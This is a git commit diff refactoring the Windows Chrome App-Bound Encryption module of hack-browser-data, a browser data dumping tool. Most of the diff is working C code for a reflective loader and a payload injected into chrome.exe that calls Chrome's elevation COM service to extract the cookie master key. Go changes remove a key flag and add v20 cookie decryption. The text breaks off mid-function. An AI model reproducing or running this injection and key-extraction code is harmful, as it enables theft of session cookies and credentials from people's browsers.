refactor(windows): clean up Chrome ABE module (#574)

* refactor(abe): remove --abe-key flag and its global state
* refactor(abe): rework scratch protocol and Go/C structure
This commit is contained in:
Roger
2026-04-19 15:20:51 +08:00
committed by GitHub
parent c3d30b9e8a
commit 76e2615db2
26 changed files with 1159 additions and 354 deletions
+1
View File
@@ -122,6 +122,7 @@ linters:
- G117 # struct field matches secret pattern — false positive on Password fields
- G204 # exec.Command with variable — required for macOS `security` command
- G304 # file inclusion via variable — required for dynamic browser paths
- G703 # path traversal via taint analysis — same false-positive class as G304 (gosec 2.22+ / golangci-lint 2.11+)
- G401 # weak crypto SHA1 — required for Chromium PBKDF2 key derivation
- G402 # TLS MinVersion — not applicable (no TLS in this tool)
- G405 # weak crypto DES — required for Firefox 3DES decryption
+15
View File
@@ -42,9 +42,24 @@ go mod tidy
go mod verify
```
## Chrome ABE Payload (Windows only)
Chrome 127+ cookies (v20) decrypt via a C payload reflectively injected into `chrome.exe`. Sources in `crypto/windows/abe_native/`; design in [RFC-010](rfcs/010-chrome-abe-integration.md).
```bash
make payload # build the DLL (needs zig: brew install zig)
make build-windows # cross-compile hack-browser-data.exe with payload embedded
make gen-layout # regenerate Go layout constants from bootstrap_layout.h
make payload-clean # rm crypto/*.bin
```
- Default `go build` links a stub that errors at runtime when ABE is needed — contributors not touching Windows ABE need no zig.
- `-tags abe_embed` embeds the payload via `//go:embed` (see `crypto/abe_embed_windows.go` / `crypto/abe_stub_windows.go`).
## Code Conventions
- **Platform code**: use build tags (`_darwin.go`, `_windows.go`, `_linux.go`)
- **C payload**: all sources in `crypto/windows/abe_native/` are first-party (no vendored C). See RFC-010 §9.2 for why Stephen Fewer's reflective loader was rejected.
- **Error handling**: `fmt.Errorf("context: %w", err)` for wrapping, never `_ =` to ignore errors
- **Logging**: `log.Debugf` for record-level diagnostics, `log.Infof` for user-facing progress/status, `log.Warnf` for unexpected conditions. Extract methods should return errors, not log them.
- **Naming**: follow Go conventions — `Config` not `BrowserConfig`, `Extract` not `BrowsingData`
+3 -1
View File
@@ -20,7 +20,9 @@ func decryptValue(masterKey, ciphertext []byte) ([]byte, error) {
// v11 is Linux-only and shares v10's AES-CBC path; only the key source differs.
return crypto.DecryptChromium(masterKey, ciphertext)
case crypto.CipherV20:
return crypto.DecryptChromium(masterKey, ciphertext)
// v20 is cross-platform AES-GCM; routed through a dedicated function so
// Linux/macOS CI can exercise the same decryption path as Windows.
return crypto.DecryptChromiumV20(masterKey, ciphertext)
case crypto.CipherDPAPI:
return crypto.DecryptDPAPI(ciphertext)
default:
+35
View File
@@ -0,0 +1,35 @@
package chromium
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"github.com/moond4rk/hackbrowserdata/crypto"
)
// TestDecryptValue_V20 is cross-platform because v20's ciphertext format
// (AES-GCM with 12-byte nonce) is platform-independent; only the key source
// (Chrome ABE on Windows) differs by OS. Running on Linux/macOS CI protects
// the routing in decryptValue + crypto.DecryptChromiumV20 from regressions.
func TestDecryptValue_V20(t *testing.T) {
plaintext := []byte("v20_test_value")
nonce := []byte("v20_nonce_12") // 12-byte AES-GCM nonce
gcm, err := crypto.AESGCMEncrypt(testAESKey, nonce, plaintext)
require.NoError(t, err)
// v20 layout: "v20" (3B) + nonce (12B) + ciphertext+tag
ciphertext := append([]byte("v20"), append(nonce, gcm...)...)
got, err := decryptValue(testAESKey, ciphertext)
require.NoError(t, err)
assert.Equal(t, plaintext, got)
}
func TestDecryptValue_V20_ShortCiphertext(t *testing.T) {
// Missing nonce (prefix only) must error, not panic.
_, err := decryptValue(testAESKey, []byte("v20"))
require.Error(t, err)
}
-11
View File
@@ -8,7 +8,6 @@ import (
"github.com/spf13/cobra"
"github.com/moond4rk/hackbrowserdata/browser"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/output"
"github.com/moond4rk/hackbrowserdata/types"
@@ -23,7 +22,6 @@ func dumpCmd() *cobra.Command {
outputDir string
profilePath string
keychainPw string
abeKey string
compress bool
)
@@ -36,12 +34,6 @@ func dumpCmd() *cobra.Command {
hack-browser-data dump -f cookie-editor
hack-browser-data dump --zip`,
RunE: func(cmd *cobra.Command, args []string) error {
if abeKey != "" {
if err := crypto.SetABEMasterKeyFromHex(abeKey); err != nil {
return fmt.Errorf("--abe-key: %w", err)
}
}
browsers, err := browser.PickBrowsers(browser.PickOptions{
Name: browserName,
ProfilePath: profilePath,
@@ -94,9 +86,6 @@ func dumpCmd() *cobra.Command {
cmd.Flags().StringVarP(&outputDir, "dir", "d", "results", "output directory")
cmd.Flags().StringVarP(&profilePath, "profile-path", "p", "", "custom profile dir path, get with chrome://version")
cmd.Flags().StringVar(&keychainPw, "keychain-pw", "", "macOS keychain password")
cmd.Flags().StringVarP(&abeKey, "abe-key", "k", "",
"Windows only: pre-decrypted Chrome ABE master key (64 hex chars / 32 bytes). "+
"When set, skips the in-process elevation_service injection.")
cmd.Flags().BoolVar(&compress, "zip", false, "compress output to zip")
return cmd
+1 -1
View File
@@ -12,7 +12,7 @@ import (
//go:embed abe_extractor_amd64.bin
var abePayloadAmd64 []byte
func getPayloadForArch(arch string) ([]byte, error) {
func ABEPayload(arch string) ([]byte, error) {
switch arch {
case "amd64":
if len(abePayloadAmd64) == 0 {
-7
View File
@@ -1,7 +0,0 @@
//go:build !windows
package crypto
func SetABEMasterKeyFromHex(_ string) error { return nil }
func GetABEMasterKey() []byte { return nil }
+1 -1
View File
@@ -4,7 +4,7 @@ package crypto
import "fmt"
func getPayloadForArch(arch string) ([]byte, error) {
func ABEPayload(arch string) ([]byte, error) {
return nil, fmt.Errorf(
"abe: payload not embedded in this build (rebuild with -tags abe_embed; arch=%s)",
arch,
-46
View File
@@ -1,46 +0,0 @@
//go:build windows
package crypto
import (
"encoding/hex"
"fmt"
"sync"
)
var (
abeCLIKeyMu sync.RWMutex
abeCLIKey []byte
)
func SetABEMasterKeyFromHex(hexKey string) error {
if hexKey == "" {
return fmt.Errorf("abe: empty hex key")
}
b, err := hex.DecodeString(hexKey)
if err != nil {
return fmt.Errorf("abe: decode hex key: %w", err)
}
if len(b) != 32 {
return fmt.Errorf("abe: key must be 32 bytes (got %d)", len(b))
}
abeCLIKeyMu.Lock()
abeCLIKey = b
abeCLIKeyMu.Unlock()
return nil
}
func GetABEMasterKey() []byte {
abeCLIKeyMu.RLock()
defer abeCLIKeyMu.RUnlock()
if len(abeCLIKey) == 0 {
return nil
}
out := make([]byte, len(abeCLIKey))
copy(out, abeCLIKey)
return out
}
func ABEPayload(arch string) ([]byte, error) {
return getPayloadForArch(arch)
}
+21
View File
@@ -45,6 +45,27 @@ func DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) {
return cbcDecrypt(block, iv, ciphertext)
}
// gcmNonceSize is the AES-GCM standard nonce size used by Chromium's v10/v20
// cipher formats. Cross-platform because the v20 ciphertext layout is the
// same regardless of host OS (only Windows currently produces v20).
const gcmNonceSize = 12
// DecryptChromiumV20 decrypts a Chromium v20 (App-Bound Encryption) ciphertext.
// Format: "v20" prefix (3B) + nonce (12B) + AES-GCM(payload + 16B tag).
//
// Cross-platform: v20 is only produced by Chrome on Windows today, but the
// decryption math is platform-neutral. Keeping it here rather than in
// crypto_windows.go ensures the routing in browser/chromium/decrypt.go stays
// testable on Linux/macOS CI.
func DecryptChromiumV20(key, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < versionPrefixLen+gcmNonceSize {
return nil, errShortCiphertext
}
nonce := ciphertext[versionPrefixLen : versionPrefixLen+gcmNonceSize]
payload := ciphertext[versionPrefixLen+gcmNonceSize:]
return AESGCMDecrypt(key, nonce, payload)
}
// AESGCMEncrypt encrypts data using AES-GCM mode.
func AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
+2 -4
View File
@@ -8,10 +8,8 @@ import (
"unsafe"
)
const (
gcmNonceSize = 12 // AES-GCM standard nonce size
minGCMDataSize = versionPrefixLen + gcmNonceSize // "v10" + nonce = 15 bytes minimum
)
// gcmNonceSize is defined in crypto.go (cross-platform).
const minGCMDataSize = versionPrefixLen + gcmNonceSize // "v10" + nonce = 15 bytes minimum
func DecryptChromium(key, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < minGCMDataSize {
+1 -6
View File
@@ -36,11 +36,6 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro
return nil, err
}
if cliKey := crypto.GetABEMasterKey(); len(cliKey) > 0 {
log.Debugf("abe: using --abe-key for %s", browserKey)
return cliKey, nil
}
payload, err := crypto.ABEPayload("amd64")
if err != nil {
return nil, fmt.Errorf("abe: %w", err)
@@ -63,7 +58,7 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro
if len(key) != 32 {
return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key))
}
log.Debugf("abe: retrieved %s master key via reflective injection", browserKey)
log.Infof("abe: retrieved %s master key via reflective injection", browserKey)
return key, nil
}
+23
View File
@@ -39,3 +39,26 @@ payload-verify: $(ABE_BIN)
payload-clean:
rm -f $(ABE_BIN_DIR)/abe_extractor_*.bin
# Scratch-layout codegen. The C header bootstrap_layout.h is the single
# source of truth; the Go constants in crypto/windows/abe_native/bootstrap
# are derived from it via cgo -godefs. We pin CC to zig for reproducible
# output across macOS / Linux / Windows hosts.
ABE_LAYOUT_PKG = $(ABE_SRC_DIR)/bootstrap
ABE_LAYOUT_GO = $(ABE_LAYOUT_PKG)/layout.go
.PHONY: gen-layout gen-layout-verify
# Split into two stages so a cgo failure doesn't silently produce an empty
# layout.go via `gofmt` on empty stdin. Write cgo output to a temp file first;
# only if that step succeeds do we format and publish.
gen-layout:
cd $(ABE_LAYOUT_PKG) && \
CC="$(ZIG) cc" $(GO) tool cgo -godefs layout_gen.go > layout.go.tmp && \
gofmt layout.go.tmp > layout.go && \
rm -f layout.go.tmp && \
rm -rf _obj
gen-layout-verify: gen-layout
@git diff --exit-code $(ABE_LAYOUT_GO) >/dev/null || \
(echo "layout.go is stale run 'make gen-layout' and commit"; exit 1)
+94 -36
View File
@@ -1,5 +1,3 @@
// SPDX-License-Identifier: Apache-2.0
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <objbase.h>
@@ -12,7 +10,17 @@
#define ENV_ENC_B64 "HBD_ABE_ENC_B64"
#define ENV_ENC_MAX 8192
typedef struct {
HRESULT hr; // last COM HRESULT (0 on success)
DWORD comErr; // IElevator.DecryptData out DWORD (0 on success / non-COM paths)
BYTE errCode; // ABE_ERR_* (ABE_ERR_OK on success)
BSTR plain; // 32-byte BSTR on success; NULL otherwise. Caller owns.
} extract_result;
static void DoExtractKey(BYTE *imageBase);
static extract_result extract_key_inner(const BrowserComIds *ids);
static void publish_key(BYTE *imageBase, const BYTE *plain);
static void publish_error(BYTE *imageBase, BYTE code, HRESULT hr, DWORD comErr);
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize);
static BOOL Base64DecodeStack(const char *b64, BYTE *out_buf, DWORD *out_len);
static HRESULT CallDecryptDataBySlot(IUnknown *pObj, unsigned int vtblIndex,
@@ -29,58 +37,99 @@ BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
return TRUE;
}
// DoExtractKey is the orchestrator: it handles COM init/uninit, resolves the
// browser identity from the hosting exe, delegates the key-extraction work
// to extract_key_inner, and publishes either the master key or a structured
// error into the scratch region the Go injector reads.
static void DoExtractKey(BYTE *imageBase)
{
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
BOOL weInited = SUCCEEDED(hr);
HRESULT initHr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
BOOL weInited = SUCCEEDED(initHr);
char exeBasename[MAX_PATH];
if (!GetOwnExeBasename(exeBasename, (DWORD)sizeof(exeBasename))) {
goto cleanup_com;
publish_error(imageBase, ABE_ERR_BASENAME, 0, 0);
goto out;
}
const BrowserComIds *ids = LookupBrowserByExe(exeBasename);
if (!ids) {
goto cleanup_com;
publish_error(imageBase, ABE_ERR_BROWSER_UNKNOWN, 0, 0);
goto out;
}
extract_result r = extract_key_inner(ids);
if (r.errCode == ABE_ERR_OK && r.plain != NULL &&
SysStringByteLen(r.plain) == BOOTSTRAP_KEY_LEN) {
publish_key(imageBase, (const BYTE *)r.plain);
} else if (r.errCode == ABE_ERR_OK && r.plain != NULL) {
// COM call succeeded but returned wrong length.
publish_error(imageBase, ABE_ERR_KEY_LEN, r.hr, 0);
} else {
publish_error(imageBase, r.errCode, r.hr, r.comErr);
}
if (r.plain) {
SecureZeroMemory(r.plain, SysStringByteLen(r.plain));
SysFreeString(r.plain);
}
out:
if (weInited) {
CoUninitialize();
}
}
// extract_key_inner owns a single resource (bstrEnc) and uses early returns;
// successful exit hands the plaintext BSTR to the caller.
static extract_result extract_key_inner(const BrowserComIds *ids)
{
extract_result r = {0, 0, ABE_ERR_OK, NULL};
char envEnc[ENV_ENC_MAX];
DWORD envEncLen = GetEnvironmentVariableA(ENV_ENC_B64, envEnc, ENV_ENC_MAX);
if (envEncLen == 0 || envEncLen >= ENV_ENC_MAX) {
goto cleanup_com;
r.errCode = ABE_ERR_ENV_MISSING;
return r;
}
BYTE encKey[ENV_ENC_MAX];
DWORD encKeyLen = ENV_ENC_MAX;
if (!Base64DecodeStack(envEnc, encKey, &encKeyLen) || encKeyLen == 0) {
goto cleanup_com;
SecureZeroMemory(encKey, ENV_ENC_MAX);
SecureZeroMemory(envEnc, ENV_ENC_MAX);
r.errCode = ABE_ERR_BASE64;
return r;
}
BSTR bstrEnc = SysAllocStringByteLen((LPCSTR)encKey, encKeyLen);
SecureZeroMemory(encKey, ENV_ENC_MAX);
SecureZeroMemory(envEnc, ENV_ENC_MAX);
if (!bstrEnc) {
goto cleanup_com;
r.errCode = ABE_ERR_BSTR_ALLOC;
return r;
}
// IElevator2 is Chrome 144+; older vendors only implement v1.
// IElevator2 is Chrome 144+; older vendors only implement v1. Try v2
// first (when declared), fall back to v1.
IUnknown *pObj = NULL;
HRESULT hr = S_OK;
if (ids->has_iid_v2) {
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
&ids->iid_v2, (void **)&pObj);
if (FAILED(hr)) {
pObj = NULL;
}
if (FAILED(hr)) pObj = NULL;
}
if (!pObj) {
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
&ids->iid_v1, (void **)&pObj);
if (FAILED(hr)) {
pObj = NULL;
}
if (FAILED(hr)) pObj = NULL;
}
if (!pObj) {
goto free_enc;
SysFreeString(bstrEnc);
r.hr = hr;
r.errCode = ABE_ERR_COM_CREATE;
return r;
}
CoSetProxyBlanket(pObj,
@@ -95,28 +144,37 @@ static void DoExtractKey(BYTE *imageBase)
hr = CallDecryptDataBySlot(pObj, DecryptDataVtblIndex(ids->kind),
bstrEnc, &bstrPlain, &comErr);
pObj->lpVtbl->Release(pObj);
if (SUCCEEDED(hr) && bstrPlain) {
UINT plainLen = SysStringByteLen(bstrPlain);
if (plainLen == BOOTSTRAP_KEY_LEN) {
// Write key before status; Go reads key only after status==READY.
for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) {
imageBase[BOOTSTRAP_KEY_OFFSET + i] = ((BYTE *)bstrPlain)[i];
}
MemoryBarrier();
imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY;
}
SecureZeroMemory(bstrPlain, plainLen);
SysFreeString(bstrPlain);
}
free_enc:
SysFreeString(bstrEnc);
cleanup_com:
if (weInited) {
CoUninitialize();
if (FAILED(hr) || bstrPlain == NULL) {
r.hr = hr;
r.comErr = comErr;
r.errCode = ABE_ERR_DECRYPT_DATA;
return r;
}
r.hr = hr;
r.comErr = comErr;
r.errCode = ABE_ERR_OK;
r.plain = bstrPlain;
return r;
}
static void publish_key(BYTE *imageBase, const BYTE *plain)
{
// Write key before status; Go reads key only after status == READY.
for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) {
imageBase[BOOTSTRAP_KEY_OFFSET + i] = plain[i];
}
MemoryBarrier();
imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY;
}
static void publish_error(BYTE *imageBase, BYTE code, HRESULT hr, DWORD comErr)
{
*(volatile BYTE *)(imageBase + BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET) = code;
*(volatile DWORD *)(imageBase + BOOTSTRAP_HRESULT_OFFSET) = (DWORD)hr;
*(volatile DWORD *)(imageBase + BOOTSTRAP_COMERR_OFFSET) = comErr;
}
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize)
+170 -98
View File
@@ -1,5 +1,3 @@
// SPDX-License-Identifier: Apache-2.0
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stddef.h>
@@ -13,6 +11,14 @@ typedef BOOL (WINAPI *pfn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef LONG (NTAPI *pfn_NtFlushInstructionCache)(HANDLE, PVOID, ULONG);
typedef BOOL (WINAPI *pfn_DllMain)(HINSTANCE, DWORD, LPVOID);
typedef struct {
pfn_LoadLibraryA LoadLibraryA;
pfn_GetProcAddress GetProcAddress;
pfn_VirtualAlloc VirtualAlloc;
pfn_VirtualProtect VirtualProtect;
pfn_NtFlushInstructionCache NtFlushInstructionCache;
} resolved_imports;
#define MARK(imgBase, step) do { \
*(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
} while (0)
@@ -26,7 +32,10 @@ static __attribute__((noinline)) ULONG_PTR get_caller_ip(void)
return (ULONG_PTR)__builtin_return_address(0);
}
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
// locate_own_image_base walks backwards from the return IP of the calling
// frame until it hits a valid MZ/PE header. Must not be inlined (see
// get_caller_ip above).
static ULONG_PTR locate_own_image_base(void)
{
ULONG_PTR imageBase = get_caller_ip();
while (imageBase > 0) {
@@ -36,131 +45,155 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
if (lfanew > 0 && lfanew < 0x1000) {
PIMAGE_NT_HEADERS64 nt =
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)lfanew);
if (nt->Signature == IMAGE_NT_SIGNATURE) break;
if (nt->Signature == IMAGE_NT_SIGNATURE) return imageBase;
}
}
imageBase--;
}
if (imageBase == 0) return 0;
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
return 0;
}
pfn_LoadLibraryA pLoadLibraryA =
// read_preresolved_imports pulls the five function pointers the Go injector
// patched into the payload's DOS stub (see patchPreresolvedImports on the
// Go side). Returns FALSE if any slot is NULL — indicating a build-stub
// mismatch between C and Go.
static BOOL read_preresolved_imports(ULONG_PTR imageBase, resolved_imports *out)
{
out->LoadLibraryA =
*(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET);
pfn_GetProcAddress pGetProcAddress =
out->GetProcAddress =
*(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET);
pfn_VirtualAlloc pVirtualAlloc =
out->VirtualAlloc =
*(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET);
pfn_VirtualProtect pVirtualProtect =
out->VirtualProtect =
*(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET);
pfn_NtFlushInstructionCache pNtFlushIC =
out->NtFlushInstructionCache =
*(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET);
if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc ||
!pVirtualProtect || !pNtFlushIC) {
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
return 0;
}
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
return out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc &&
out->VirtualProtect && out->NtFlushInstructionCache;
}
PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS64 oldNt =
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)oldDos->e_lfanew);
// allocate_and_copy_image reserves a fresh RW region and copies the raw
// payload bytes (headers + every section) into it. Returns the new base
// plus a pointer to the NT headers within the new image, or NULL on
// VirtualAlloc failure.
static BYTE *allocate_and_copy_image(ULONG_PTR oldBase,
const resolved_imports *imp,
PIMAGE_NT_HEADERS64 *outNewNt)
{
PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)oldBase;
PIMAGE_NT_HEADERS64 oldNt =
(PIMAGE_NT_HEADERS64)(oldBase + (ULONG_PTR)oldDos->e_lfanew);
SIZE_T sizeOfImage = oldNt->OptionalHeader.SizeOfImage;
BYTE *newBase = (BYTE *)pVirtualAlloc(
BYTE *newBase = (BYTE *)imp->VirtualAlloc(
NULL, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!newBase) {
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
return 0;
}
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
if (!newBase) return NULL;
BYTE *headerSrc = (BYTE *)imageBase;
BYTE *headerSrc = (BYTE *)oldBase;
DWORD headerSize = oldNt->OptionalHeader.SizeOfHeaders;
for (DWORD i = 0; i < headerSize; i++) {
newBase[i] = headerSrc[i];
}
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(oldNt);
for (WORD i = 0; i < oldNt->FileHeader.NumberOfSections; i++) {
BYTE *sSrc = (BYTE *)imageBase + sec[i].PointerToRawData;
BYTE *sSrc = (BYTE *)oldBase + sec[i].PointerToRawData;
BYTE *sDst = newBase + sec[i].VirtualAddress;
DWORD raw = sec[i].SizeOfRawData;
for (DWORD j = 0; j < raw; j++) {
sDst[j] = sSrc[j];
}
}
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
PIMAGE_NT_HEADERS64 newNt =
*outNewNt =
(PIMAGE_NT_HEADERS64)(newBase + (ULONG_PTR)oldDos->e_lfanew);
return newBase;
}
// apply_base_relocations fixes up 64-bit absolute address references in
// the copied image if the new base differs from the preferred ImageBase.
static void apply_base_relocations(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt)
{
LONG_PTR delta = (LONG_PTR)newBase - (LONG_PTR)newNt->OptionalHeader.ImageBase;
DWORD relocSize = newNt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
DWORD relocRva = newNt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
if (delta != 0 && relocSize > 0 && relocRva > 0) {
PIMAGE_BASE_RELOCATION reloc =
(PIMAGE_BASE_RELOCATION)(newBase + relocRva);
DWORD consumed = 0;
while (reloc->VirtualAddress && consumed < relocSize) {
DWORD count =
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD *entries =
(WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD j = 0; j < count; j++) {
WORD type = entries[j] >> 12;
WORD offset = entries[j] & 0x0FFF;
if (type == IMAGE_REL_BASED_DIR64) {
ULONG_PTR *target = (ULONG_PTR *)(newBase +
reloc->VirtualAddress + offset);
*target += (ULONG_PTR)delta;
}
}
consumed += reloc->SizeOfBlock;
reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock);
}
}
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
if (delta == 0 || relocSize == 0 || relocRva == 0) return;
PIMAGE_BASE_RELOCATION reloc =
(PIMAGE_BASE_RELOCATION)(newBase + relocRva);
DWORD consumed = 0;
while (reloc->VirtualAddress && consumed < relocSize) {
DWORD count =
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD *entries =
(WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD j = 0; j < count; j++) {
WORD type = entries[j] >> 12;
WORD offset = entries[j] & 0x0FFF;
if (type == IMAGE_REL_BASED_DIR64) {
ULONG_PTR *target = (ULONG_PTR *)(newBase +
reloc->VirtualAddress + offset);
*target += (ULONG_PTR)delta;
}
}
consumed += reloc->SizeOfBlock;
reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock);
}
}
// link_iat resolves the Import Address Table for each DLL the payload
// references, using the pre-resolved LoadLibraryA + GetProcAddress the
// Go injector patched in.
static void link_iat(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
const resolved_imports *imp)
{
DWORD impSize = newNt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
DWORD impRva = newNt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (impSize > 0 && impRva > 0) {
PIMAGE_IMPORT_DESCRIPTOR imp =
(PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva);
while (imp->Name) {
const char *modName = (const char *)(newBase + imp->Name);
HMODULE hMod = pLoadLibraryA(modName);
if (hMod) {
DWORD origRva = imp->OriginalFirstThunk
? imp->OriginalFirstThunk : imp->FirstThunk;
PIMAGE_THUNK_DATA origThunk =
(PIMAGE_THUNK_DATA)(newBase + origRva);
PIMAGE_THUNK_DATA thunk =
(PIMAGE_THUNK_DATA)(newBase + imp->FirstThunk);
while (origThunk->u1.AddressOfData) {
FARPROC fn;
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
fn = pGetProcAddress(hMod,
(LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
} else {
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)
(newBase + origThunk->u1.AddressOfData);
fn = pGetProcAddress(hMod, ibn->Name);
}
thunk->u1.Function = (ULONG_PTR)fn;
origThunk++;
thunk++;
}
}
imp++;
}
}
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
if (impSize == 0 || impRva == 0) return;
sec = IMAGE_FIRST_SECTION(newNt);
PIMAGE_IMPORT_DESCRIPTOR desc =
(PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva);
while (desc->Name) {
const char *modName = (const char *)(newBase + desc->Name);
HMODULE hMod = imp->LoadLibraryA(modName);
if (hMod) {
DWORD origRva = desc->OriginalFirstThunk
? desc->OriginalFirstThunk : desc->FirstThunk;
PIMAGE_THUNK_DATA origThunk =
(PIMAGE_THUNK_DATA)(newBase + origRva);
PIMAGE_THUNK_DATA thunk =
(PIMAGE_THUNK_DATA)(newBase + desc->FirstThunk);
while (origThunk->u1.AddressOfData) {
FARPROC fn;
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
fn = imp->GetProcAddress(hMod,
(LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
} else {
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)
(newBase + origThunk->u1.AddressOfData);
fn = imp->GetProcAddress(hMod, ibn->Name);
}
thunk->u1.Function = (ULONG_PTR)fn;
origThunk++;
thunk++;
}
}
desc++;
}
}
// set_section_protections applies final per-section memory protections
// (.text → RX, .rdata → R, .data → RW) based on IMAGE_SCN_MEM_* flags.
static void set_section_protections(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
const resolved_imports *imp)
{
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(newNt);
for (WORD i = 0; i < newNt->FileHeader.NumberOfSections; i++) {
DWORD newProtect = PAGE_READONLY;
DWORD ch = sec[i].Characteristics;
@@ -171,21 +204,60 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
newProtect = PAGE_READWRITE;
}
DWORD oldProtect = 0;
pVirtualProtect(newBase + sec[i].VirtualAddress,
sec[i].Misc.VirtualSize,
newProtect, &oldProtect);
imp->VirtualProtect(newBase + sec[i].VirtualAddress,
sec[i].Misc.VirtualSize,
newProtect, &oldProtect);
}
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
}
pNtFlushIC((HANDLE)-1, NULL, 0);
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
// lpReserved carries the original raw-image base so DllMain can write
// the decrypted key back into the scratch region the Go injector reads.
// invoke_dllmain calls the payload's DllMain with DLL_PROCESS_ATTACH.
// lpReserved carries the original raw-image base so DllMain (= the ABE
// extractor entry) can write the decrypted key back into the scratch
// region the Go injector reads.
static ULONG_PTR invoke_dllmain(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
ULONG_PTR scratchBase)
{
pfn_DllMain pDllMain =
(pfn_DllMain)(newBase + newNt->OptionalHeader.AddressOfEntryPoint);
pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)imageBase);
MARK(imageBase, BOOTSTRAP_MARK_DONE);
pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)scratchBase);
return (ULONG_PTR)newBase;
}
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
{
ULONG_PTR imageBase = locate_own_image_base();
if (imageBase == 0) return 0;
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
resolved_imports imp;
if (!read_preresolved_imports(imageBase, &imp)) {
